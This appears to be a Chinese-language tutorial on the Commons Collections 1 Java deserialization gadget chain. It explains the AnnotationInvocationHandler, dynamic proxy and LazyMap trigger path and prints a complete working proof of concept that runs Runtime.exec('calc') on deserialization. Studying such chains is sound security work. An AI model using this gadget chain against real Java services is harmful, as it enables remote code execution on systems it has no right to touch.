# AnnotationInvocationHandler

通过 AnnotationInvocationHandler 类触发 LazyMap 的 get 方法。
简化版 AnnotationInvocationHandler 类的代码:

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;

    //构造函数,可传入 LazyMap
    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        this.type = var1;
        this.memberValues = var2;
    }

    //利用 invoke 方法可实现调用 LazyMap#get
    public Object invoke(Object var1, Method var2, Object[] var3) {
        Object var6 = this.memberValues.get(var4);
    }
}

# 原理:

AnnotationInvocationHandler 类 readObject 方法代码:关键点在 this.memberValues.entrySet () ,这里我们可以为 memberValues 传入一个代理对象。通过 java 的动态代理机制,使其最终触发 AnnotationInvocationHandler 类的 invoke 方法,从而实现触发 LazyMap.get ()。

# 动态代理:

就是创建代理必须要一个 InvocationHandler 接口的类,用该类唯一一个接口 invoke,它会在代理对象上调用任何方法时被调用。然后,使用 Proxy.newProxyInstance () 方法来创建代理对象,该方法需传递一个 ClassLoader 对象,一组接口以及一个 InvocationHandler 对象作为参数

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

# 测试环境:3.1-3.2.1 jdk 版本小于 u71 (本地 JDK8u66)

在 Java 8u71 之后,sun.reflect.annotation.AnnotationInvocationHandler 的行为进行了关键的修改,特别是在它的构造函数中加入了更加严格的检查

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections1 {

    public static void main(String[] args) {

        //Transformer数组
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        //ChainedTransformer实例
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        //LazyMap实例
        Map uselessMap = new HashMap();
        Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);

        try {
            //反射获取AnnotationInvocationHandler实例
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
            constructor.setAccessible(true);
            InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

            //动态代理类,设置一个D代理对象,为了触发 AnnotationInvocationHandler#invoke           
            Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);

            InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Override.class, mapProxy);

            //序列化
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(handler1);
            oos.flush();
            oos.close();

            //测试反序列化
            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bais);
            ois.readObject();
            ois.close();

        } catch (Exception e) {
            e.printStackTrace();
        }

    }

}

# 大体调用栈:

->AnnotationInvocationHandler.readObject()
      ->mapProxy.entrySet().iterator()  //动态代理类
          ->AnnotationInvocationHandler.invoke()
            ->LazyMap.get()
                ->ChainedTransformer.transform()
                ->ConstantTransformer.transform()
                    ->InvokerTransformer.transform()
                    ->…………

1. 来源:先知
来源作者:
https://xz.aliyun.com/t/9409?time__1311=n4%2BxnD0Du0eGwwDBqooGkDRDjxmq4AKP4imNdx#toc-0

2. 动态代理知识
https://1y0ng.github.io/post/java 反序列化之动态代理,cc1 和 cc6/